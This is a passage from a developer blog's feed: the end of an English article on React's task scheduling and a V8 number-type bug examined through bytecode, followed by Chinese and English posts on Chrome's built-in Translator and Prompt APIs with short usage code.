already using this to implement a set, but it is still in an unstable state: <a href="https://github.com/facebook/react/blob/v19.2.0/packages/scheduler/src/forks/SchedulerPostTask.js">SchedulerPostTask.js</a>. The native API directly supports scheduling tasks with different priorities, which is much more convenient than writing it yourself.</p><p>In summary, from React’s code for scheduling asynchronous tasks, we can learn about the differences in timing and frequency of triggering different functions. We can also understand why React made such choices through these changes in mechanisms, allowing us to better grasp the nuances of these asynchronous details.</p><h2><span id="learning-about-underlying-operations-from-v8-bug">Learning About Underlying Operations from V8 Bug</span></h2><p>Continuing from the earlier discussion about React fiber, there is a section related to the profiler in the <a href="https://github.com/facebook/react/blob/v19.2.0/packages/react-reconciler/src/ReactFiber.js#L177">code</a>:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">if</span> <span class="token punctuation">(</span>enableProfilerTimer<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>actualDuration <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>actualStartTime <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">1.1</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>selfBaseDuration <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>treeBaseDuration <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The question arises: why is the initial value here -0 instead of 0? What is the difference between these two?</p><p>In even older versions, it was first assigned as NaN before becoming 0. What kind of magic is this?</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">if</span> <span class="token punctuation">(</span>enableProfilerTimer<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">this</span><span class="token punctuation">.</span>actualDuration <span class="token operator">=</span> Number<span class="token punctuation">.</span><span class="token number">NaN</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>actualStartTime <span class="token operator">=</span> Number<span class="token punctuation">.</span><span class="token number">NaN</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>selfBaseDuration <span class="token operator">=</span> Number<span class="token punctuation">.</span><span class="token number">NaN</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>treeBaseDuration <span class="token operator">=</span> Number<span class="token punctuation">.</span><span class="token number">NaN</span><span class="token punctuation">;</span>    <span class="token keyword">this</span><span class="token punctuation">.</span>actualDuration <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>actualStartTime <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>selfBaseDuration <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>treeBaseDuration <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>All of this is related to the underlying operations of V8 and a bug.</p><p>Regarding this matter, V8 itself has a blog post: <a href="https://v8.dev/blog/react-cliff">The story of a V8 performance cliff in React</a>, which explains it very well. Please read this article yourself or look at it with AI; I won’t repeat it here, and will only mention the conclusions and key points below.</p><p>First of all, although we all know that in the JavaScript specification, <a href="https://blog.huli.tw/2022/02/25/en/javascript-how-many-types/#6-number">all numbers are doubles</a>, the JavaScript engine does not necessarily implement it that way. After all, if every number were stored as a 64-bit double, there would be both space and performance issues, and integer addition and subtraction would also be floating-point operations, which is unbearable.</p><p>Therefore, in the V8 engine, numbers are actually divided into two types: one is a 32-bit int called a small integer, abbreviated as Smi, and the other is truly a floating-point number, called HeapNumber. The two types are stored in different locations, with floating-point numbers needing to be stored in the heap.</p><p>To optimize objects, they are associated with something called a shape when stored, similar to the metadata of the object, which stores the type and offset of each value. Similarly, objects of the same interface will share the same shape.</p><p>When the type of an object value changes, this shape will also change. For example, if it changes from Smi to double, a new shape will be created.</p><p>The bug in V8 can be simply described as follows: in the React profiler, certain values are initially initialized to 0, with the type being Smi. Then, <code>Object.preventExtensions</code> is used to prevent new properties from being added, and this value is changed to a floating-point number (the return value of <code>performance.now()</code>).</p><p>This behavior causes V8 to break, as it does not know how to handle the change in shape, resulting in the creation of an entirely new shape. Moreover, this issue is not limited to just one object; all similar objects cannot share the shape and instead each have their own.</p><p>Although most people may not notice this underlying difference, when React is tested with a large number of nodes, the difference becomes apparent as the base increases, evolving into a performance issue.</p><p>Although V8 has fixed the bug, so this issue no longer exists, React has also made a fix. For instance, the NaN mentioned earlier is set to NaN because it is fundamentally a floating-point number rather than Smi. The current version being -0 is for the same reason; -0 is a floating-point number, while 0 is Smi.</p><p>When both the initial value and the subsequent value are floating-point numbers, there will be no issue with the change in shape, and thus the V8 bug will not be encountered.</p><p>However, have you ever thought about how to determine that NaN and -0 are floating-point numbers?</p><h3><span id="looking-at-underlying-types-from-v8-bytecode">Looking at Underlying Types from V8 Bytecode</span></h3><p>Aside from translating specifications, compiling code into V8 bytecode is actually a good method. For example, consider the following function:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">test</span><span class="token punctuation">(</span><span class="token parameter">x</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">return</span> x <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">function</span> <span class="token constant">AAAAA</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token function">test</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">test</span><span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">test</span><span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">test</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token operator">/</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// NaN</span><span class="token punctuation">&#125;</span><span class="token constant">AAAAA</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>After compiling with the command <code>node --print-bytecode test.js &gt; out</code>, the result is:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token punctuation">[</span>generated bytecode <span class="token keyword">for</span> <span class="token keyword">function</span><span class="token operator">:</span> <span class="token constant">AAAAA</span> <span class="token punctuation">(</span><span class="token number">0x31bb2f7de971</span> <span class="token operator">&lt;</span>SharedFunctionInfo <span class="token constant">AAAAA</span><span class="token operator">></span><span class="token punctuation">)</span><span class="token punctuation">]</span>Bytecode length<span class="token operator">:</span> <span class="token number">41</span>Parameter count <span class="token number">1</span>Register count <span class="token number">2</span>Frame size <span class="token number">16</span>Bytecode age<span class="token operator">:</span> <span class="token number">0</span>   <span class="token number">62</span> <span class="token constant">S</span><span class="token operator">></span> <span class="token number">0x31bb2f7df776</span> @    <span class="token number">0</span> <span class="token operator">:</span> <span class="token number">17</span> <span class="token number">02</span>             LdaImmutableCurrentContextSlot <span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df778</span> @    <span class="token number">2</span> <span class="token operator">:</span> c4                Star0         <span class="token number">0x31bb2f7df779</span> @    <span class="token number">3</span> <span class="token operator">:</span> 0c                LdaZero         <span class="token number">0x31bb2f7df77a</span> @    <span class="token number">4</span> <span class="token operator">:</span> c3                Star1   <span class="token number">62</span> <span class="token constant">E</span><span class="token operator">></span> <span class="token number">0x31bb2f7df77b</span> @    <span class="token number">5</span> <span class="token operator">:</span> <span class="token number">62</span> fa f9 <span class="token number">00</span>       CallUndefinedReceiver1 r0<span class="token punctuation">,</span> r1<span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span>   <span class="token number">73</span> <span class="token constant">S</span><span class="token operator">></span> <span class="token number">0x31bb2f7df77f</span> @    <span class="token number">9</span> <span class="token operator">:</span> <span class="token number">17</span> <span class="token number">02</span>             LdaImmutableCurrentContextSlot <span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df781</span> @   <span class="token number">11</span> <span class="token operator">:</span> c4                Star0         <span class="token number">0x31bb2f7df782</span> @   <span class="token number">12</span> <span class="token operator">:</span> <span class="token number">13</span> <span class="token number">00</span>             LdaConstant <span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df784</span> @   <span class="token number">14</span> <span class="token operator">:</span> c3                Star1   <span class="token number">73</span> <span class="token constant">E</span><span class="token operator">></span> <span class="token number">0x31bb2f7df785</span> @   <span class="token number">15</span> <span class="token operator">:</span> <span class="token number">62</span> fa f9 <span class="token number">02</span>       CallUndefinedReceiver1 r0<span class="token punctuation">,</span> r1<span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span>   <span class="token number">85</span> <span class="token constant">S</span><span class="token operator">></span> <span class="token number">0x31bb2f7df789</span> @   <span class="token number">19</span> <span class="token operator">:</span> <span class="token number">17</span> <span class="token number">02</span>             LdaImmutableCurrentContextSlot <span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df78b</span> @   <span class="token number">21</span> <span class="token operator">:</span> c4                Star0         <span class="token number">0x31bb2f7df78c</span> @   <span class="token number">22</span> <span class="token operator">:</span> 0d <span class="token number">03</span>             LdaSmi <span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df78e</span> @   <span class="token number">24</span> <span class="token operator">:</span> c3                Star1   <span class="token number">85</span> <span class="token constant">E</span><span class="token operator">></span> <span class="token number">0x31bb2f7df78f</span> @   <span class="token number">25</span> <span class="token operator">:</span> <span class="token number">62</span> fa f9 <span class="token number">04</span>       CallUndefinedReceiver1 r0<span class="token punctuation">,</span> r1<span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span>   <span class="token number">96</span> <span class="token constant">S</span><span class="token operator">></span> <span class="token number">0x31bb2f7df793</span> @   <span class="token number">29</span> <span class="token operator">:</span> <span class="token number">17</span> <span class="token number">02</span>             LdaImmutableCurrentContextSlot <span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df795</span> @   <span class="token number">31</span> <span class="token operator">:</span> c4                Star0         <span class="token number">0x31bb2f7df796</span> @   <span class="token number">32</span> <span class="token operator">:</span> <span class="token number">13</span> <span class="token number">01</span>             LdaConstant <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df798</span> @   <span class="token number">34</span> <span class="token operator">:</span> c3                Star1   <span class="token number">96</span> <span class="token constant">E</span><span class="token operator">></span> <span class="token number">0x31bb2f7df799</span> @   <span class="token number">35</span> <span class="token operator">:</span> <span class="token number">62</span> fa f9 <span class="token number">06</span>       CallUndefinedReceiver1 r0<span class="token punctuation">,</span> r1<span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">6</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df79d</span> @   <span class="token number">39</span> <span class="token operator">:</span> 0e                LdaUndefined  <span class="token number">114</span> <span class="token constant">S</span><span class="token operator">></span> <span class="token number">0x31bb2f7df79e</span> @   <span class="token number">40</span> <span class="token operator">:</span> a9                ReturnConstant <span class="token function">pool</span> <span class="token punctuation">(</span>size <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token number">0x31bb2f7df711</span><span class="token operator">:</span> <span class="token punctuation">[</span>FixedArray<span class="token punctuation">]</span> <span class="token keyword">in</span> OldSpace <span class="token operator">-</span> map<span class="token operator">:</span> <span class="token number">0x3bc7231c0211</span> <span class="token operator">&lt;</span><span class="token function">Map</span><span class="token punctuation">(</span><span class="token constant">FIXED_ARRAY_TYPE</span><span class="token punctuation">)</span><span class="token operator">></span> <span class="token operator">-</span> length<span class="token operator">:</span> <span class="token number">2</span>           <span class="token number">0</span><span class="token operator">:</span> <span class="token number">0x31bb2f7df731</span> <span class="token operator">&lt;</span>HeapNumber <span class="token operator">-</span><span class="token number">0.0</span><span class="token operator">></span>           <span class="token number">1</span><span class="token operator">:</span> <span class="token number">0x3bc7231c0561</span> <span class="token operator">&lt;</span>HeapNumber nan<span class="token operator">></span>Handler <span class="token function">Table</span> <span class="token punctuation">(</span>size <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">)</span>Source Position <span class="token function">Table</span> <span class="token punctuation">(</span>size <span class="token operator">=</span> <span class="token number">21</span><span class="token punctuation">)</span><span class="token number">0x31bb2f7df7a1</span> <span class="token operator">&lt;</span>ByteArray<span class="token punctuation">[</span><span class="token number">21</span><span class="token punctuation">]</span><span class="token operator">></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>You can see that 3 is directly <code>LdaSmi</code>, indicating it is Smi, while -0 and NaN are <code>LdaConstant</code>, loaded from the constant pool, which contains:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">Constant <span class="token function">pool</span> <span class="token punctuation">(</span>size <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token number">0x31bb2f7df711</span><span class="token operator">:</span> <span class="token punctuation">[</span>FixedArray<span class="token punctuation">]</span> <span class="token keyword">in</span> OldSpace <span class="token operator">-</span> map<span class="token operator">:</span> <span class="token number">0x3bc7231c0211</span> <span class="token operator">&lt;</span><span class="token function">Map</span><span class="token punctuation">(</span><span class="token constant">FIXED_ARRAY_TYPE</span><span class="token punctuation">)</span><span class="token operator">></span> <span class="token operator">-</span> length<span class="token operator">:</span> <span class="token number">2</span>           <span class="token number">0</span><span class="token operator">:</span> <span class="token number">0x31bb2f7df731</span> <span class="token operator">&lt;</span>HeapNumber <span class="token operator">-</span><span class="token number">0.0</span><span class="token operator">></span>           <span class="token number">1</span><span class="token operator">:</span> <span class="token number">0x3bc7231c0561</span> <span class="token operator">&lt;</span>HeapNumber nan<span class="token operator">></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>It is clear that both of these are heap numbers and do not belong to Smi.</p><p>From a theoretical perspective, NaN cannot be Smi because NaN is defined in IEEE 754, and -0 requires the negative sign, which does not exist in int, so it can only be a double.</p><p>In any case, if you encounter confusion regarding underlying types in the future, you can compile to bytecode for confirmation; it is straightforward.</p><h2><span id="summary">Summary</span></h2><p>In this article, we learned several things from the React source code:</p><ol><li>The purpose of Symbol, which can utilize its non-serializable feature to ensure that it cannot be constructed externally.</li><li>The triggering timing and characteristics of various asynchronous functions such as <code>requestIdleCallback</code>, <code>requestAnimationFrame</code>, <code>MessageChannel</code>, and <code>setTimeout</code>, as well as how React arranges tasks at a lower level.</li><li>While all JavaScript numbers appear to be 64-bit doubles in specifications, V8 actually differentiates between Smi and double at a lower level, which can be confirmed using bytecode.</li></ol>]]></content>
    
    
    <summary type="html">&lt;p&gt;Recently, I shared this topic at the online pre-event of &lt;a href=&quot;https://2025.jsdc.tw/&quot;&gt;JSDC&lt;/a&gt;. Since I already shared it, I thought it would be good to write an article. The inspiration and content of this article actually come from &lt;a href=&quot;https://www.tenlong.com.tw/products/9786267757048&quot;&gt;“JavaScript Relearning”&lt;/a&gt; (only available in Chinese). When I wrote the book, I referenced some elements from the React source code, and this article is just a reorganization and rewriting of the various React-related chapters that were originally scattered throughout the book.&lt;/p&gt;
&lt;p&gt;I find it interesting to learn new concepts from the code of these open-source projects. After all, the more bugs these widely used frameworks encounter, the more solutions to these problems can be learned, allowing for reflection on what one has previously learned.&lt;/p&gt;
&lt;p&gt;This article is divided into three small sections:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;XSS Vulnerabilities in Older Versions of React&lt;/li&gt;
&lt;li&gt;Learning the Event Loop from React Fiber&lt;/li&gt;
&lt;li&gt;Learning Underlying Mechanics from V8 Bugs&lt;/li&gt;
&lt;/ol&gt;</summary>
    
    
    
    <category term="JavaScript" scheme="https://blog.huli.tw/categories/JavaScript/"/>
    
    
    <category term="JavaScript" scheme="https://blog.huli.tw/tags/JavaScript/"/>
    
  </entry>
  
  <entry>
    <title>Chrome 內建的翻譯與 Prompt API</title>
    <link href="https://blog.huli.tw/2025/09/27/chrome-built-in-prompt-api/"/>
    <id>https://blog.huli.tw/2025/09/27/chrome-built-in-prompt-api/</id>
    <published>2025-09-26T21:50:00.000Z</published>
    <updated>2025-09-27T07:11:12.982Z</updated>
    
    <content type="html"><![CDATA[<p>前陣子有個讀者分享給我他自己做的 Chrome extension：<a href="https://github.com/Stevetanus/JPNEWS-helper/tree/main">JP NEWS Helper</a>，能夠摘要、翻譯 NHK News Easy 上面的文章，幫助學日文。</p><p>由於這個擴充套件是開源的，因此我第一件好奇的事就是：「它是用哪一間 AI 的服務，key 怎麼處理？」，結果看了 source code 才發現居然是 Chrome 內建的 Web API，不是我以為的 HTTP API。</p><p>算是有點後知後覺，現在才發現原來有內建的 Web API 可以用，因此寫篇文章簡單記錄一下。</p><span id="more"></span><h2><span id="chrome-的內建-ai-相關-api">Chrome 的內建 AI 相關 API</span></h2><p>如果想直接看 Google 的官方影片，可以參考這個：<a href="https://www.youtube.com/watch?v=8iIvAMZ-XYU">The future of Chrome Extensions with Gemini in your browser</a>，文字版的話則是這篇：<a href="https://developer.chrome.com/docs/ai/built-in-apis">內建 AI API</a>。</p><p>Chrome 從 138 版本開始（寫這篇文章當下，最新穩定版是 140），提供了三個內建的 Web API：</p><ol><li>Translator API，翻譯</li><li>Language Detector API，偵測語言</li><li>Summarizer API，摘要文章</li></ol><p>這三個 API 在使用前會需要下載一些小模型，而整體的使用方式超級簡單，底下以翻譯的功能為例。</p><p>首先，會需要檢查是否可用以及是否需要下載：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> translator <span class="token operator">=</span> <span class="token keyword">await</span> Translator<span class="token punctuation">.</span><span class="token function">create</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>  <span class="token literal-property property">sourceLanguage</span><span class="token operator">:</span> <span class="token string">'en'</span><span class="token punctuation">,</span>  <span class="token literal-property property">targetLanguage</span><span class="token operator">:</span> <span class="token string">'zh-TW'</span><span class="token punctuation">,</span>  <span class="token function">monitor</span><span class="token punctuation">(</span><span class="token parameter">m</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    m<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">'downloadprogress'</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">e</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>      console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Downloaded </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>e<span class="token punctuation">.</span>loaded <span class="token operator">*</span> <span class="token number">100</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">%</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">,</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>那個 monitor 就是監控下載進度用的，以翻譯來說滿快就可以下載完。</p><p>下載完之後，只要一行程式碼就可以翻譯：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">await</span> translator<span class="token punctuation">.</span><span class="token function">translate</span><span class="token punctuation">(</span><span class="token string">'How are you?'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">// 你好嗎?</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>就這樣，沒了，超級簡單。</p><p>不過我試了一下，翻譯的品質沒有到很好，還是比不上直接去用真的大型 LLM 模型。但這功能可以直接內建在 Web API 裡，已經是一大進步了。</p><h2><span id="prompt-api">Prompt API</span></h2><p>除了開頭提的那三種，也有幾個還在測試中的 API，如 prompt API，就是可以直接下 prompt，跟平常使用 ChatGPT 等等的 API 差不多。目前要用的話需要去申請個 origin trial 拿 key，我之前有寫過怎麼申請：<a href="https://blog.huli.tw/2022/02/02/origin-trials-try-new-feature/">透過 Chrome Origin Trials 搶先試用新功能</a>。</p><p>我做了一個 demo 網站，有興趣可以玩玩看。因為 prompt API 的模型滿大的，建議在非手機網路環境下載，否則網路流量可能會爆掉。</p><p>另外，由於這個 API 還在測試階段，所以可能會有些問題。我一開始自己玩幾次都沒問題，但後來好像踩到了什麼 bug，每次問 AI 後都會直接系統級 panic，整個 Mac 當掉自動重開。</p><p><a href="https://aszx87410.github.io/demo/ai/prompt-api.html">https://aszx87410.github.io/demo/ai/prompt-api.html</a></p><p><img src="/img/chrome-built-in-prompt-api/p1.png" alt="Prompt API 示範網站截圖"></p><p>而這個 API 的使用方法也超簡單，第一步同樣是確認可用性以及下載：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">await</span> LanguageModel<span class="token punctuation">.</span><span class="token function">create</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>  <span class="token function">monitor</span><span class="token punctuation">(</span><span class="token parameter">m</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token comment">// 監控下載進度</span>    m<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">'downloadprogress'</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">e</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>      <span class="token function">updateProgress</span><span class="token punctuation">(</span>e<span class="token punctuation">.</span>loaded<span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>e<span class="token punctuation">.</span>loaded <span class="token operator">>=</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">updateStatus</span><span class="token punctuation">(</span><span class="token string">'✅ AI 下載完成並已就緒！'</span><span class="token punctuation">,</span> <span class="token string">'available'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>下載完之後就可以用了：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> session <span class="token operator">=</span> <span class="token keyword">await</span> LanguageModel<span class="token punctuation">.</span><span class="token function">create</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">const</span> response <span class="token operator">=</span> <span class="token keyword">await</span> session<span class="token punctuation">.</span><span class="token function">prompt</span><span class="token punctuation">(</span><span class="token string">'你可以做什麼？'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>response<span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>有更多參數可以調整啦，而且可以支援更複雜的對話，上面只是一個很基礎的範例而已。</p><p>儘管模型不大，可以做的事情也沒有其他大模型多，但是在瀏覽器上面放一個可以在本地跑的小模型，已經能分擔掉一部分需要 API key 才能做的事了。</p><p>現在 Chrome 也越來越積極把小模型直接包在裡面，提供更多原生的 AI 功能，而未來開發者也可以運用這些 Web API 直接開發產品，不需要自己準備後端。</p><h2><span id="其他瀏覽器呢">其他瀏覽器呢？</span></h2><p>Translation API 已經隨著 Chrome 138 一起正式發佈，Google 也訂出了相關標準，不過目前 Firefox 跟 Safari 則是還在很早期的階段。</p><p>Firefox 對目前的 API design <a href="https://github.com/mozilla/standards-positions/issues/1015">不太滿意</a>，有提了另一個<a href="https://github.com/mozilla/explainers/blob/main/translation.md">版本</a>。而 Safari 對目前的做法也有一些隱私與資安上的<a href="https://github.com/WebKit/standards-positions/issues/339">考量</a>，看起來還沒什麼進展。</p><p>至於其他更強大的 API 如 Prompt API，Firefox 直接對目前的提案給了個 <a href="https://github.com/mozilla/standards-positions/issues/1213#issuecomment-2950074313">negative</a>，而 Safari <a href="https://github.com/WebKit/standards-positions/issues/495">那邊</a>看起來似乎沒什麼消息。</p><p>因此，這篇所提到的東西目前都只有 Chromium-based 的瀏覽器可以用，如 Chrome 與 Edge。未來其他瀏覽器會不會跟上，還是個未知數。</p><h2><span id="結語">結語</span></h2><p>各種 AI 與現有產品的整合勢在必行，瀏覽器身為使用者會重度使用的應用程式，更是兵家必爭之地。</p><p>例如說 Perplexity 自己推了個 <a href="https://www.perplexity.ai/comet">Comet Browser</a>，而 Chrome 也有越來越多內建的 AI 功能。</p><p>如果 AI 沒騙我的話，目前 Chrome 的 Prompt API 用的是 <a href="https://ai.google.dev/gemma/docs">Gemma</a>，Edge 上的是 <a href="https://azure.microsoft.com/en-us/products/phi">Phi</a>。</p><p>當瀏覽器內建的 AI 模型越來越進化，能做的事情就更多了。不過以目前的狀況來看，在本地能跑的模型絕對是很有限的，畢竟能用的資源就那些，效果還是沒有那些大模型來得好，但未來可以持續關注，應該會一直不斷進化。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;前陣子有個讀者分享給我他自己做的 Chrome extension：&lt;a href=&quot;https://github.com/Stevetanus/JPNEWS-helper/tree/main&quot;&gt;JP NEWS Helper&lt;/a&gt;，能夠摘要、翻譯 NHK News Easy 上面的文章，幫助學日文。&lt;/p&gt;
&lt;p&gt;由於這個擴充套件是開源的，因此我第一件好奇的事就是：「它是用哪一間 AI 的服務，key 怎麼處理？」，結果看了 source code 才發現居然是 Chrome 內建的 Web API，不是我以為的 HTTP API。&lt;/p&gt;
&lt;p&gt;算是有點後知後覺，現在才發現原來有內建的 Web API 可以用，因此寫篇文章簡單記錄一下。&lt;/p&gt;</summary>
    
    
    
    <category term="Web" scheme="https://blog.huli.tw/categories/Web/"/>
    
    
    <category term="Web" scheme="https://blog.huli.tw/tags/Web/"/>
    
  </entry>
  
  <entry>
    <title>Chrome&#39;s Built-in Translation and Prompt API</title>
    <link href="https://blog.huli.tw/2025/09/27/en/chrome-built-in-prompt-api/"/>
    <id>https://blog.huli.tw/2025/09/27/en/chrome-built-in-prompt-api/</id>
    <published>2025-09-26T21:50:00.000Z</published>
    <updated>2025-09-27T07:26:31.509Z</updated>
    
    <content type="html"><![CDATA[<p>Recently, a reader shared with me a Chrome extension he created: <a href="https://github.com/Stevetanus/JPNEWS-helper/tree/main">JP NEWS Helper</a>, which can summarize and translate articles from NHK News Easy, helping to learn Japanese.</p><p>Since this extension is open source, my first curiosity was: “Which AI service does it use, and how is the key handled?” After looking at the source code, I found out that it actually uses Chrome’s built-in Web API, not the HTTP API I had assumed.</p><p>It was a bit of a late realization for me to discover that there are built-in Web APIs available, so I decided to write a short article to document it.</p><span id="more"></span><h2><span id="chromes-built-in-ai-related-apis">Chrome’s Built-in AI Related APIs</span></h2><p>If you want to watch the official Google video directly, you can refer to this: <a href="https://www.youtube.com/watch?v=8iIvAMZ-XYU">The future of Chrome Extensions with Gemini in your browser</a>. For a text version, you can check this article: <a href="https://developer.chrome.com/docs/ai/built-in-apis">Built-in AI API</a>.</p><p>Starting from version 138 (as of writing this article, the latest stable version is 140), Chrome provides three built-in Web APIs:</p><ol><li>Translator API, for translation</li><li>Language Detector API, for detecting languages</li><li>Summarizer API, for summarizing articles</li></ol><p>These three APIs require downloading some small models before use, and the overall usage is super simple. Below is an example using the translation feature.</p><p>First, you need to check if it’s available and whether you need to download:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> translator <span class="token operator">=</span> <span class="token keyword">await</span> Translator<span class="token punctuation">.</span><span class="token function">create</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>  <span class="token literal-property property">sourceLanguage</span><span class="token operator">:</span> <span class="token string">'en'</span><span class="token punctuation">,</span>  <span class="token literal-property property">targetLanguage</span><span class="token operator">:</span> <span class="token string">'zh-TW'</span><span class="token punctuation">,</span> 